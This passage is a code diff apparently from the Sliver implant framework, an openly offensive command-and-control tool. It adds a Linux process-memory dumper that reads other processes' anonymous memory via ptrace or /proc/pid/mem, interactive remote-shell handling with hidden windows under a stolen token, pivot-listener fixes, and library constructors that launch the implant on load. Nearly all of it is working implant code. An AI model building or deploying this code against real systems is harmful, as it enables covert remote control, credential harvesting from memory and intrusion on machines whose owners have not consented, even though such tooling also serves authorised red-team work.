+func (pc *PingConn) Write(p []byte) (n int, err error) {
+	return pc.WriteTo(p, &pc.raddr)
+}
+
+func (pc *PingConn) ReadFrom(p []byte) (n int, addr net.Addr, err error) {
+	e, notifyCh := waiter.NewChannelEntry(nil)
+	pc.wq.EventRegister(&e, waiter.EventIn)
+	defer pc.wq.EventUnregister(&e)
+
+	select {
+	case <-pc.deadline.C:
+		return 0, nil, os.ErrDeadlineExceeded
+	case <-notifyCh:
+	}
+
+	w := tcpip.SliceWriter(p)
+
+	res, tcpipErr := pc.ep.Read(&w, tcpip.ReadOptions{
+		NeedRemoteAddr: true,
+	})
+	if tcpipErr != nil {
+		return 0, nil, fmt.Errorf("ping read: %s", tcpipErr)
+	}
+
+	remoteAddr, _ := netip.AddrFromSlice([]byte(res.RemoteAddr.Addr))
+	return res.Count, &PingAddr{remoteAddr}, nil
+}
+
+func (pc *PingConn) Read(p []byte) (n int, err error) {
+	n, _, err = pc.ReadFrom(p)
+	return
+}
+
+func (pc *PingConn) SetDeadline(t time.Time) error {
+	// pc.SetWriteDeadline is unimplemented
+
+	return pc.SetReadDeadline(t)
+}
+
+func (pc *PingConn) SetReadDeadline(t time.Time) error {
+	pc.deadline.Reset(t.Sub(time.Now()))
+	return nil
+}
+
 var (
 	errNoSuchHost                   = errors.New("no such host")
 	errLameReferral                 = errors.New("lame referral")
@@ -426,7 +667,7 @@ func dnsStreamRoundTrip(c net.Conn, id uint16, query dnsmessage.Question, b []by
 	return p, h, nil
 }
 
-func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
+func (tnet *Net) exchange(ctx context.Context, server netip.Addr, q dnsmessage.Question, timeout time.Duration) (dnsmessage.Parser, dnsmessage.Header, error) {
 	q.Class = dnsmessage.ClassINET
 	id, udpReq, tcpReq, err := newRequest(q)
 	if err != nil {
@@ -440,16 +681,19 @@ func (tnet *Net) exchange(ctx context.Context, server net.IP, q dnsmessage.Quest
 		var c net.Conn
 		var err error
 		if useUDP {
-			c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: server, Port: 53})
+			c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, netip.AddrPortFrom(server, 53))
 		} else {
-			c, err = tnet.DialContextTCP(ctx, &net.TCPAddr{IP: server, Port: 53})
+			c, err = tnet.DialContextTCPAddrPort(ctx, netip.AddrPortFrom(server, 53))
 		}
 
 		if err != nil {
 			return dnsmessage.Parser{}, dnsmessage.Header{}, err
 		}
 		if d, ok := ctx.Deadline(); ok && !d.IsZero() {
-			c.SetDeadline(d)
+			err := c.SetDeadline(d)
+			if err != nil {
+				return dnsmessage.Parser{}, dnsmessage.Header{}, err
+			}
 		}
 		var p dnsmessage.Parser
 		var h dnsmessage.Header
@@ -593,8 +837,8 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 			zlen = zidx
 		}
 	}
-	if ip := net.ParseIP(host[:zlen]); ip != nil {
-		return []string{host[:zlen]}, nil
+	if ip, err := netip.ParseAddr(host[:zlen]); err == nil {
+		return []string{ip.String()}, nil
 	}
 
 	if !isDomainName(host) {
@@ -605,7 +849,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 		server string
 		error
 	}
-	var addrsV4, addrsV6 []net.IP
+	var addrsV4, addrsV6 []netip.Addr
 	lanes := 0
 	if tnet.hasV4 {
 		lanes++
@@ -660,7 +904,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 					}
 					break loop
 				}
-				addrsV4 = append(addrsV4, net.IP(a.A[:]))
+				addrsV4 = append(addrsV4, netip.AddrFrom4(a.A))
 
 			case dnsmessage.TypeAAAA:
 				aaaa, err := result.p.AAAAResource()
@@ -672,7 +916,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 					}
 					break loop
 				}
-				addrsV6 = append(addrsV6, net.IP(aaaa.AAAA[:]))
+				addrsV6 = append(addrsV6, netip.AddrFrom16(aaaa.AAAA))
 
 			default:
 				if err := result.p.SkipAnswer(); err != nil {
@@ -688,7 +932,7 @@ func (tnet *Net) LookupContextHost(ctx context.Context, host string) ([]string,
 		}
 	}
 	// We don't do RFC6724. Instead just put V6 addresess first if an IPv6 address is enabled
-	var addrs []net.IP
+	var addrs []netip.Addr
 	if tnet.hasV6 {
 		addrs = append(addrsV6, addrsV4...)
 	} else {
@@ -725,44 +969,48 @@ func partialDeadline(now, deadline time.Time, addrsRemaining int) (time.Time, er
 	return now.Add(timeout), nil
 }
 
+var protoSplitter = regexp.MustCompile(`^(tcp|udp|ping)(4|6)?$`)
+
 func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.Conn, error) {
 	if ctx == nil {
 		panic("nil context")
 	}
-	var acceptV4, acceptV6, useUDP bool
-	if len(network) == 3 {
+	var acceptV4, acceptV6 bool
+	matches := protoSplitter.FindStringSubmatch(network)
+	if matches == nil {
+		return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
+	} else if len(matches[2]) == 0 {
 		acceptV4 = true
 		acceptV6 = true
-	} else if len(network) == 4 {
-		acceptV4 = network[3] == '4'
-		acceptV6 = network[3] == '6'
+	} else {
+		acceptV4 = matches[2][0] == '4'
+		acceptV6 = !acceptV4
 	}
-	if !acceptV4 && !acceptV6 {
-		return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
-	}
-	if network[:3] == "udp" {
-		useUDP = true
-	} else if network[:3] != "tcp" {
-		return nil, &net.OpError{Op: "dial", Err: net.UnknownNetworkError(network)}
-	}
-	host, sport, err := net.SplitHostPort(address)
-	if err != nil {
-		return nil, &net.OpError{Op: "dial", Err: err}
-	}
-	port, err := strconv.Atoi(sport)
-	if err != nil || port < 0 || port > 65535 {
-		return nil, &net.OpError{Op: "dial", Err: errNumericPort}
+	var host string
+	var port int
+	if matches[1] == "ping" {
+		host = address
+	} else {
+		var sport string
+		var err error
+		host, sport, err = net.SplitHostPort(address)
+		if err != nil {
+			return nil, &net.OpError{Op: "dial", Err: err}
+		}
+		port, err = strconv.Atoi(sport)
+		if err != nil || port < 0 || port > 65535 {
+			return nil, &net.OpError{Op: "dial", Err: errNumericPort}
+		}
 	}
 	allAddr, err := tnet.LookupContextHost(ctx, host)
 	if err != nil {
 		return nil, &net.OpError{Op: "dial", Err: err}
 	}
-	var addrs []net.IP
+	var addrs []netip.AddrPort
 	for _, addr := range allAddr {
-		if strings.IndexByte(addr, ':') != -1 && acceptV6 {
-			addrs = append(addrs, net.ParseIP(addr))
-		} else if strings.IndexByte(addr, '.') != -1 && acceptV4 {
-			addrs = append(addrs, net.ParseIP(addr))
+		ip, err := netip.ParseAddr(addr)
+		if err == nil && ((ip.Is4() && acceptV4) || (ip.Is6() && acceptV6)) {
+			addrs = append(addrs, netip.AddrPortFrom(ip, uint16(port)))
 		}
 	}
 	if len(addrs) == 0 && len(allAddr) != 0 {
@@ -800,10 +1048,13 @@ func (tnet *Net) DialContext(ctx context.Context, network, address string) (net.
 		}
 
 		var c net.Conn
-		if useUDP {
-			c, err = tnet.DialUDP(nil, &net.UDPAddr{IP: addr, Port: port})
-		} else {
-			c, err = tnet.DialContextTCP(dialCtx, &net.TCPAddr{IP: addr, Port: port})
+		switch matches[1] {
+		case "tcp":
+			c, err = tnet.DialContextTCPAddrPort(dialCtx, addr)
+		case "udp":
+			c, err = tnet.DialUDPAddrPort(netip.AddrPort{}, addr)
+		case "ping":
+			c, err = tnet.DialPingAddr(netip.Addr{}, addr.Addr())
 		}
 		if err == nil {
 			return c, nil

implant/sliver/pivots/pivots.go

@@ -24,6 +24,7 @@ import (
 	"encoding/base64"
 	"encoding/binary"
 	"errors"
+	"io"
 	"net"
 	"sync"
 	"time"
@@ -38,10 +39,6 @@ import (
 	"google.golang.org/protobuf/proto"
 )
 
-const (
-	readBufSize = 1024
-)
-
 var (
 	// ErrFailedWrite - Failed to write to a connection
 	ErrFailedWrite = errors.New("failed to write")
@@ -114,13 +111,14 @@ func RestartAllListeners(send chan<- *pb.Envelope) {
 				// {{if .Config.Debug}}
 				log.Printf("[pivot] failed to restart listener: %s", err)
 				// {{end}}
+				return false
 			}
 			go listener.Start()
 			AddListener(listener)
 		}
 		return true
 	})
-	stoppedPivotListeners = nil
+	stoppedPivotListeners = &sync.Map{}
 }
 
 // StopAllListeners - Stop all pivot listeners
@@ -476,7 +474,9 @@ func (p *NetConnPivot) read() ([]byte, error) {
 	p.readMutex.Lock()
 	defer p.readMutex.Unlock()
 	dataLengthBuf := make([]byte, 4)
-	n, err := p.conn.Read(dataLengthBuf)
+
+	n, err := io.ReadFull(p.conn, dataLengthBuf)
+
 	if err != nil || n != 4 {
 		// {{if .Config.Debug}}
 		log.Printf("[pivot] Error (read msg-length): %v\n", err)
@@ -485,23 +485,23 @@ func (p *NetConnPivot) read() ([]byte, error) {
 	}
 
 	dataLength := int(binary.LittleEndian.Uint32(dataLengthBuf))
-	readBuf := make([]byte, readBufSize)
-	dataBuf := []byte{}
-	totalRead := 0
-	for {
-		n, err := p.conn.Read(readBuf)
-		dataBuf = append(dataBuf, readBuf[:n]...)
-		totalRead += n
-		if totalRead == dataLength {
-			break
-		}
-		if err != nil {
-			// {{if .Config.Debug}}
-			log.Printf("[pivot] read error: %s\n", err)
-			// {{end}}
-			return nil, err
-		}
+	if dataLength <= 0 {
+		// {{if .Config.Debug}}
+		log.Printf("[pivot] read error: %s\n", err)
+		// {{end}}
+		return nil, errors.New("[pivot] zero data length")
 	}
+	dataBuf := make([]byte, dataLength)
+
+	n, err = io.ReadFull(p.conn, dataBuf)
+
+	if err != nil || n != dataLength {
+		// {{if .Config.Debug}}
+		log.Printf("[pivot] read error: %s\n", err)
+		// {{end}}
+		return nil, err
+	}
+
 	return dataBuf, err
 }
 

implant/sliver/priv/priv_windows.go

@@ -1,3 +1,4 @@
+//go:build windows
 // +build windows
 
 package priv
@@ -595,3 +596,29 @@ func GetPrivs() ([]PrivilegeInfo, string, string, error) {
 
 	return privInfo, integrity, processName, nil
 }
+
+// CurrentTokenOwner returns the current thread's token owner
+func CurrentTokenOwner() (string, error) {
+	currToken := CurrentToken
+	// when the windows.Handle is zero (no impersonation), future method calls
+	// on it result in the windows error INVALID_TOKEN_HANDLE, so we get the
+	// actual handle
+	if currToken == 0 {
+		currToken = windows.GetCurrentProcessToken()
+	}
+	return TokenOwner(currToken)
+}
+
+// TokenOwner will resolve the primary token or thread owner of the given
+// handle
+func TokenOwner(hToken windows.Token) (string, error) {
+	tokenUser, err := hToken.GetTokenUser()
+	if err != nil {
+		return "", err
+	}
+	user, domain, _, err := tokenUser.User.Sid.LookupAccount("")
+	if err != nil {
+		return "", err
+	}
+	return fmt.Sprintf(`%s\%s`, domain, user), err
+}

implant/sliver/procdump/dump_linux.go

@@ -2,9 +2,21 @@
 
 package procdump
 
+import (
+	"bufio"
+	"fmt"
+	"io"
+	"os"
+	"regexp"
+	"runtime"
+	"strconv"
+	"strings"
+	"syscall"
+)
+
 /*
 	Sliver Implant Framework
-	Copyright (C) 2019  Bishop Fox
+	Copyright (C) 2022 Bishop Fox
 
 	This program is free software: you can redistribute it and/or modify
 	it under the terms of the GNU General Public License as published by
@@ -20,6 +32,28 @@ package procdump
 	along with this program.  If not, see <https://www.gnu.org/licenses/>.
 */
 
+// A struct to hold information about each region of memory
+type MemoryRegion struct {
+	// Start address of the region
+	start uint64
+
+	// End address of the region
+	end uint64
+
+	/*
+		Flag that indicates if this region is mapped to a file
+		on disk. Currently, we are only dumping regions that
+		are not backed by a file on disk.
+	*/
+	isFile bool
+	
+	// File name - only populated if isFile is true
+	fileName string
+}
+
+// A regex for each line of /proc/<PID>/maps
+var mapLineModel = regexp.MustCompile(`^(\w+)-(\w+)\s+(\S+)\s+\S+\s+(\S+)\s+\d+\s*(\S+)?$`)
+
 // LinuxDump - Structure implementing the ProcessDump
 // interface for linux processes
 type LinuxDump struct {
@@ -31,7 +65,293 @@ func (d *LinuxDump) Data() []byte {
 	return d.data
 }
 
+/*
+	Map out the application's memory using /proc/<pid>/maps
+
+	Map format:
+	    (1)          (2)      (3)    (4)     (5)   (6)                             (7)
+	7f926c0b0000-7f926c0d5000 r--s 00000000 08:03 4327445                    /usr/share/mime/mime.cache
+
+	1: Start address of the memory region
+	2: End address of the memory region
+	3: Permissions (rwx) and p/s (p=private, s=shared)
+	4: Offset (offset in bytes into the file, field 7): This is only relevant to files
+	5: Device ID (the major:minor device ID of the disk that contains the file) - 00:00 for non-file mappings
+	6: inode on the device
+	7: Filename (empty if the mapping is not a file)
+*/
+
+func parseMap(mapLine string) *MemoryRegion {
+	regionInformation := mapLineModel.FindStringSubmatch(mapLine)
+	
+	if regionInformation == nil {
+		// No match
+		return nil
+	}
+
+	if strings.HasPrefix(regionInformation[3], "r") {
+		// This section of memory is readable, and we will return it
+		
+		/*
+			There is a bug in how ptrace reads the vvar region of memory,
+			see https://lkml.iu.edu/hypermail/linux/kernel/1503.1/03733.html
+
+			The vvar region is for shared kernel variables
+
+			If this is vvar, then skip it so that we do not run into errors
+			due to it later
+
+			In testing, other regions reserved by the kernel proved problematic,
+			namely vdso and vsyscall. Those regions likely do not contain any
+			sensitive information, so they can be skipped.
+		*/
+		if regionInformation[5] == "[vvar]" || regionInformation[5] == "[vdso]" || regionInformation[5] == "[vsyscall]" {
+			return nil
+		}
+
+		memRegion := MemoryRegion{}
+		regionStart, err := strconv.ParseUint(regionInformation[1], 16, 64)
+		if err != nil {
+			// Something is wrong with this region, discard this record
+			return nil
+		}
+		memRegion.start = regionStart
+
+		regionEnd, err := strconv.ParseUint(regionInformation[2], 16, 64)
+		if err != nil {
+			// Something is wrong with this region, discard this record
+			return nil
+		}
+		
+		memRegion.end = regionEnd
+
+		if regionInformation[4] == "00:00" {
+			// Then this is not a file
+			memRegion.isFile = false
+			memRegion.fileName = ""
+		} else {
+			memRegion.isFile = true
+			memRegion.fileName = regionInformation[5]
+		}
+		return &memRegion
+	}
+	
+	return nil
+}
+
+/* 
+	Create a map of the process' memory from /proc/<PID>/maps
+	Return: a slice of MemoryRegions, number of bytes represented by the map
+*/
+func createMemoryMap(pid int32) ([]*MemoryRegion, uint64, error) {
+	maps, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/maps")
+
+	if err != nil {
+		// Could not open the map
+		return nil, 0, fmt.Errorf("{{if .Config.Debug}}Could not open memory map for the process{{end}}")
+	}
+
+	defer maps.Close()
+
+	var memorySize uint64 = 0
+	var completeMemoryMap []*MemoryRegion
+
+	buffer := bufio.NewReader(maps)
+	line, err := buffer.ReadString('\n')
+
+	// Keep reading until we hit an error
+	for err == nil {
+		memoryMapInfo := parseMap(strings.TrimSpace(line))
+		// Only concerned about regions not backed by a file on disk
+		if memoryMapInfo != nil && !memoryMapInfo.isFile {
+			completeMemoryMap = append(completeMemoryMap, memoryMapInfo)
+			memorySize += memoryMapInfo.end - memoryMapInfo.start
+		}
+		// Read the next line
+		line, err = buffer.ReadString('\n')
+	}
+
+	// End of file is OK - anything else is not.
+	if err != nil && err != io.EOF {
+		return nil, 0, fmt.Errorf("{{if .Config.Debug}}Error encountered reading through memory maps{{end}}")
+	}
+
+	return completeMemoryMap, memorySize, nil
+}
+
+func checkPermissions() (bool, error) {
+	/*
+		Check to see if we are root.
+		According to the proc man page, we need root unless the process has the dumpable flag.
+		Unless it becomes necessary to check for the dumpable flag, we will keep things simple
+		and require root.
+	*/
+	if currentUID := os.Getuid(); currentUID != 0 {
+		return false, fmt.Errorf("{{if .Config.Debug}}Must be root to read memory from another process{{end}}")
+	}
+
+	/*
+		Check to make sure /proc/sys/kernel/yama/ptrace_scope is not 3
+		(dumping process memory does not work with a ptrace_scope value of 3)
+
+		Yama was merged in kernel 3.4
+
+		If reading the value fails, it might be because it is not there. Should not be a permissions
+		issue because if we make it here, we are root. If it is not there, this might be a super old kernel.
+	*/
+	ptrace_scope, err := os.ReadFile("/proc/sys/kernel/yama/ptrace_scope")
+	if err != nil {
+		// Even if we get an error here, we should try to read process memory anyway.
+		return true, nil
+	}
+
+	if strings.TrimSpace(string(ptrace_scope)) == "3" {
+		return false, fmt.Errorf("{{if .Config.Debug}}ptrace_scope is too restrictive{{end}}")
+	}
+	
+	return true, nil
+}
+
+func isOldKernelVersion() bool {
+	kernelVersionRegex := regexp.MustCompile(`^(\d+)\.(\d+).*$`)
+
+	/*
+		/proc/sys/kernel/osrelease has the version number of the kernel
+		If it is less than 3.3, you can only read memory from the process by attaching
+		to it with ptrace
+	*/
+	kernelVersion, err := os.ReadFile("/proc/sys/kernel/osrelease")
+	if err != nil {
+		/*
+			If this does not exist or is not readable, use the ptrace method
+			since that should work for all kernels (assuming we have the
+			correct permissions which we will check)
+		*/
+		return true
+	}
+
+	majorMinorKVer := kernelVersionRegex.FindStringSubmatch(strings.TrimSpace(string(kernelVersion)))
+
+	if majorMinorKVer == nil {
+		// The kernel version did not match the expected format, use the ptrace method
+		return true
+	}
+
+	majorKVer, err := strconv.Atoi(majorMinorKVer[1])
+	if err != nil {
+		// Unable to determine kernel version so use the ptrace method to be safe
+		return true
+	}
+	
+	if majorKVer > 3 {
+		// We can read directly from /proc/pid/mem on 4.x+ kernels
+		return false
+	} else if majorKVer == 3 {
+		minorKVer, err := strconv.Atoi(majorMinorKVer[2])
+		if err != nil {
+			// Unable to determine the minor kernel version, so use the ptrace method to be safe
+			return true
+		}
+
+		if minorKVer >= 3 {
+			// We can read directly from /proc/pid/mem starting with kernel 3.3
+			return false
+		} else {
+			return true
+		}
+	} else {
+		// If the kernel version is 2.x or lower, we have to use ptrace
+		return true
+	}
+}
+
 func dumpProcess(pid int32) (ProcessDump, error) {
 	res := &LinuxDump{}
+
+	usePTrace := isOldKernelVersion()
+
+	permissionsOK, err := checkPermissions()
+	
+	if !permissionsOK || err != nil {
+		return res, err
+	}
+
+	processRegions, dumpSize, err := createMemoryMap(pid)
+	if err != nil {
+		return res, err
+	}
+
+	// Create a buffer to put the memory
+	res.data = make([]byte, dumpSize)
+
+	currentDumpOffset := 0
+
+	if usePTrace {
+		// Attach to the process using ptrace
+		proc, err := os.FindProcess(int(pid))
+		if err != nil {
+			// Then the process does not exist
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process, process does not exist{{end}}")
+		}
+		runtime.LockOSThread()
+		defer runtime.UnlockOSThread()
+
+		err = syscall.PtraceAttach(int(pid))
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not attach to the process{{end}}")
+		}
+
+		_, err = proc.Wait()
+		
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Failure in waiting for the process after attaching{{end}}")
+		}
+
+		// Read the memory, region by region
+		for _, region := range(processRegions) {
+			numberOfBytes := int(region.end - region.start)
+			bytesRead, err := syscall.PtracePeekData(int(pid), uintptr(region.start), res.data[currentDumpOffset:currentDumpOffset + numberOfBytes])
+			if err != nil {
+				return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
+			}
+			currentDumpOffset += bytesRead
+		}
+		
+		// Do not forget to detach when we are done
+		// Send a continue signal so that the process resumes (attaching with ptrace pauses the process)
+		err = syscall.Kill(int(pid), syscall.SIGCONT)
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Sending continue signal failed - the process is likely hung. Recommend killing it.{{end}}")
+		}
+
+		err = syscall.PtraceDetach(int(pid))
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not detach from the process - the process is likely hung. Recommend killing it.{{end}}")
+		}
+		
+	} else {
+		// Open the memory "file"
+		processMemory, err := os.Open("/proc/" + strconv.FormatInt(int64(pid), 10) + "/mem")
+
+		if err != nil {
+			return res, fmt.Errorf("{{if .Config.Debug}}Could not open process memory{{end}}")
+		}
+
+		defer processMemory.Close()
+
+		for _, region := range(processRegions) {
+			/*
+				Figure out the size of the memory region to read so we know how big of
+				a slice to cut from the buffer
+			*/
+			numberOfBytes := int(region.end - region.start)
+			bytesRead, err := processMemory.ReadAt(res.data[currentDumpOffset:currentDumpOffset + numberOfBytes], int64(region.start))
+			if err != nil && err != io.EOF {
+				return res, fmt.Errorf("{{if .Config.Debug}}Error reading process memory{{end}}")
+			}
+			currentDumpOffset += bytesRead
+		}
+	}
+
 	return res, nil
 }

implant/sliver/ps/ps_windows.go

@@ -104,7 +104,7 @@ func getInfo(t syscall.Token, class uint32, initSize int) (unsafe.Pointer, error
 
 // getTokenOwner retrieves access token t owner account information.
 func getTokenOwner(t syscall.Token) (*syscall.Tokenuser, error) {
-	i, e := getInfo(t, syscall.TokenOwner, 50)
+	i, e := getInfo(t, syscall.TokenUser, 50)
 	if e != nil {
 		return nil, e
 	}

implant/sliver/shell/shell-pty.go

@@ -26,6 +26,7 @@ import (
 	"log"
 	// {{end}}
 
+	"context"
 	"os/exec"
 
 	"github.com/bishopfox/sliver/implant/sliver/shell/pty"
@@ -44,63 +45,73 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, enablePty bool) *Shell {
+func StartInteractive(tunnelID uint64, command []string, enablePty bool) (*Shell, error) {
 	if enablePty {
 		return ptyShell(tunnelID, command)
 	}
 	return pipedShell(tunnelID, command)
 }
 
-func pipedShell(tunnelID uint64, command []string) *Shell {
+func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
 	// {{if .Config.Debug}}
 	log.Printf("[shell] %s", command)
 	// {{end}}
 
-	cmd := exec.Command(command[0], command[1:]...)
+	ctx, cancel := context.WithCancel(context.Background())
+
+	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
 	stdin, err := cmd.StdinPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] stdin pipe failed\n")
 		// {{end}}
-		return nil
+		cancel()
+		return nil, err
 	}
 	stdout, err := cmd.StdoutPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] stdout pipe failed\n")
 		// {{end}}
-		return nil
+		cancel()
+		return nil, err
 	}
 
+	err = cmd.Start()
+
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
 		Stdout:  stdout,
 		Stdin:   stdin,
-	}
+		Cancel:  cancel,
+	}, err
 }
 
-func ptyShell(tunnelID uint64, command []string) *Shell {
+func ptyShell(tunnelID uint64, command []string) (*Shell, error) {
 	// {{if .Config.Debug}}
 	log.Printf("[ptmx] %s", command)
 	// {{end}}
 
-	cmd := exec.Command(command[0], command[1:]...)
+	ctx, cancel := context.WithCancel(context.Background())
+
+	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
 	term, err := pty.Start(cmd)
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[term] %v, falling back to piped shell...", err)
 		// {{end}}
+		cancel()
 		return pipedShell(tunnelID, command)
 	}
-	cmd.Start()
 
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
 		Stdout:  term,
 		Stdin:   term,
-	}
+		Cancel:  cancel,
+	}, err
 }
 
 // GetSystemShellPath - Find bash or sh

implant/sliver/shell/shell.go

@@ -19,6 +19,7 @@ package shell
 */
 
 import (
+	"context"
 	"io"
 	"os"
 	"os/exec"
@@ -30,12 +31,24 @@ type Shell struct {
 	Command *exec.Cmd
 	Stdout  io.ReadCloser
 	Stdin   io.WriteCloser
+	Cancel  context.CancelFunc
 }
 
-// StartAndWait starts a system shell then waits for it to complete
-func (s *Shell) StartAndWait() {
-	s.Command.Start()
-	s.Command.Wait()
+// Start - starts a command
+func (s *Shell) Start() error {
+	return s.Command.Start()
+}
+
+// Wait - waits till the command finish
+func (s *Shell) Wait() error {
+	return s.Command.Wait()
+}
+
+// Stop - stopping the command (syskill) using context cancel
+func (s *Shell) Stop() {
+	if s.Cancel != nil {
+		s.Cancel()
+	}
 }
 
 func exists(path string) bool {

implant/sliver/shell/shell_generic.go

@@ -26,6 +26,7 @@ import (
 	"log"
 	// {{end}}
 
+	"context"
 	"os/exec"
 )
 
@@ -42,29 +43,33 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
+func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
 	return pipedShell(tunnelID, command)
 }
 
-func pipedShell(tunnelID uint64, command []string) *Shell {
+func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
 	// {{if .Config.Debug}}
 	log.Printf("[shell] %s", command)
 	// {{end}}
 
-	cmd := exec.Command(command[0], command[1:]...)
+	ctx, cancel := context.WithCancel(context.Background())
+
+	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
 	stdin, err := cmd.StdinPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] stdin pipe failed\n")
 		// {{end}}
-		return nil
+		cancel()
+		return nil, err
 	}
 	stdout, err := cmd.StdoutPipe()
 	if err != nil {
 		// {{if .Config.Debug}}
 		log.Printf("[shell] stdout pipe failed\n")
 		// {{end}}
-		return nil
+		cancel()
+		return nil, err
 	}
 
 	return &Shell{
@@ -72,7 +77,8 @@ func pipedShell(tunnelID uint64, command []string) *Shell {
 		Command: cmd,
 		Stdout:  stdout,
 		Stdin:   stdin,
-	}
+		Cancel:  cancel,
+	}, nil
 }
 
 // GetSystemShellPath - Find bash or sh

implant/sliver/shell/shell_windows.go

@@ -23,6 +23,7 @@ import (
 	"log"
 	// {{end}}
 
+	"context"
 	"github.com/bishopfox/sliver/implant/sliver/priv"
 	"golang.org/x/sys/windows"
 	"os/exec"
@@ -61,28 +62,46 @@ func Start(command string) error {
 }
 
 // StartInteractive - Start a shell
-func StartInteractive(tunnelID uint64, command []string, _ bool) *Shell {
+func StartInteractive(tunnelID uint64, command []string, _ bool) (*Shell, error) {
 	return pipedShell(tunnelID, command)
 }
 
-func pipedShell(tunnelID uint64, command []string) *Shell {
+func pipedShell(tunnelID uint64, command []string) (*Shell, error) {
 	// {{if .Config.Debug}}
 	log.Printf("[shell] %s", command)
 	// {{end}}
 
-	var cmd *exec.Cmd
-	cmd = exec.Command(command[0], command[1:]...)
+	ctx, cancel := context.WithCancel(context.Background())
+
+	cmd := exec.CommandContext(ctx, command[0], command[1:]...)
 	cmd.SysProcAttr = &windows.SysProcAttr{
 		Token:      syscall.Token(priv.CurrentToken),
 		HideWindow: true,
 	}
-	stdin, _ := cmd.StdinPipe()
-	stdout, _ := cmd.StdoutPipe()
+	stdin, err := cmd.StdinPipe()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] stdin pipe failed\n")
+		// {{end}}
+		cancel()
+		return nil, err
+	}
+	stdout, err := cmd.StdoutPipe()
+	if err != nil {
+		// {{if .Config.Debug}}
+		log.Printf("[shell] stdout pipe failed\n")
+		// {{end}}
+		cancel()
+		return nil, err
+	}
+
+	err = cmd.Start()
 
 	return &Shell{
 		ID:      tunnelID,
 		Command: cmd,
 		Stdout:  stdout,
 		Stdin:   stdin,
-	}
+		Cancel:  cancel,
+	}, err
 }

implant/sliver/sliver.c

@@ -19,11 +19,13 @@ BOOL WINAPI DllMain(
     case DLL_PROCESS_ATTACH:
         // Initialize once for each new process.
         // Return FALSE to fail DLL load.
-    {
-        HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
-        // CreateThread() because otherwise DllMain() is highly likely to deadlock.
-    }
-    break;
+        {
+            // {{if .Config.RunAtLoad}}
+            // CreateThread() because otherwise DllMain() is highly likely to deadlock.
+            HANDLE hThread = CreateThread(NULL, 0, Start, NULL, 0, NULL);
+            // {{end}}
+        }
+        break;
     case DLL_PROCESS_DETACH:
         // Perform any necessary cleanup.
         break;
@@ -45,7 +47,9 @@ static void init(int argc, char **argv, char **envp)
 {
     unsetenv("LD_PRELOAD");
     unsetenv("LD_PARAMS");
+    // {{if .Config.RunAtLoad}}
     StartW();
+    // {{end}}
 }
 __attribute__((section(".init_array"), used)) static typeof(init) *init_p = init;
 #elif __APPLE__
@@ -56,7 +60,9 @@ __attribute__((constructor)) static void init(int argc, char **argv, char **envp
 {
     unsetenv("DYLD_INSERT_LIBRARIES");
     unsetenv("LD_PARAMS");
+    // {{if .Config.RunAtLoad}}
     StartW();
+    // {{end}}
 }
 
 #endif

implant/sliver/sliver.go

@@ -105,25 +105,11 @@ func (serv *sliverService) Execute(args []string, r <-chan svc.ChangeRequest, ch
 	for {
 		select {
 		default:
-			abort := make(chan struct{})
-			connections := transports.StartConnectionLoop(c2Servers, abort)
-			for connection := range connections {
-				if connection == nil {
-					break
-				}
-				err := sessionMainLoop(connection)
-				if err != nil {
-					connectionErrors++
-					if transports.GetMaxConnectionErrors() < connectionErrors {
-						return
-					}
-				}
-				reconnect := transports.GetReconnectInterval()
-				// {{if .Config.Debug}}
-				log.Printf("Reconnect sleep: %s", reconnect)
-				// {{end}}
-				time.Sleep(reconnect)
-			}
+			// {{if .Config.IsBeacon}}
+			beaconStartup()
+			// {{else}}
+			sessionStartup()
+			// {{end}}
 		case c := <-r:
 			switch c.Cmd {
 			case svc.Interrogate:
@@ -199,7 +185,16 @@ func main() {
 	// {{else}}
 
 	// {{if .Config.IsBeacon}}
+	beaconStartup()
+	// {{else}} ------- IsBeacon/IsSession -------
+	sessionStartup()
+	// {{end}}
 
+	// {{end}} ------- IsService -------
+}
+
+// {{if .Config.IsBeacon}}
+func beaconStartup() {
 	// {{if .Config.Debug}}
 	log.Printf("Running in Beacon mode with ID: %s", InstanceID)
 	// {{end}}
@@ -227,9 +222,11 @@ func main() {
 		// {{end}}
 		time.Sleep(reconnect)
 	}
+}
 
-	// {{else}} ------- IsBeacon/IsSession -------
+// {{else}}
 
+func sessionStartup() {
